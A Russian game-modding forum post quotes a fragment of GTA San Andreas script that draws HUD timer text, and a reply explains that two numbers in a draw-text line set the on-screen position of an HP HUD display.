045B: draw_text_2numbers 999999.0 99999.0 GXT 'TIME_0' numbers 27@ 28@  // ~1~:0~1~
0051: return  

:NONAME_4228
03E0: draw_text_behind_textures 1  
033F: set_text_draw_letter_size 0.45 1.3  
03E4: set_text_draw_align_right 1  
081C: draw_text_outline 1 RGBA 0 0 0 200  
0340: set_text_draw_RGBA 255 255 255 240  
045B: draw_text_2numbers 9999.0 99999.0 GXT 'TIME' numbers 27@ 28@  // ~1~:~1~
0051: return  
00D6: if  

:NONAME_4308
0391: release_textures  
0051: return  

:NONAME_4312
09BA: show_entered_zone_name 0  
09B9: show_entered_car_name 0  
0051: return  

Как поменять расположение цифр? (HpHud)


✰✰✰ На Cheat - Master.ru 2945 дней ✰✰✰
Olegman10 Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 675
Мактавишка :3
Статус: Offline
Цитата aritentd_228 ()
045A: draw_text_1number 548.0 65.0 GXT 'NUMBER' number 26@  // ~1~

Вот в этой строчке ищи 548.0 и 65.0. Они отвечают за координаты


Russian Ice Gang - GTA Online




Cheater CM с 16.10.2014 по **.**.****
Поиск:
Статистика Форума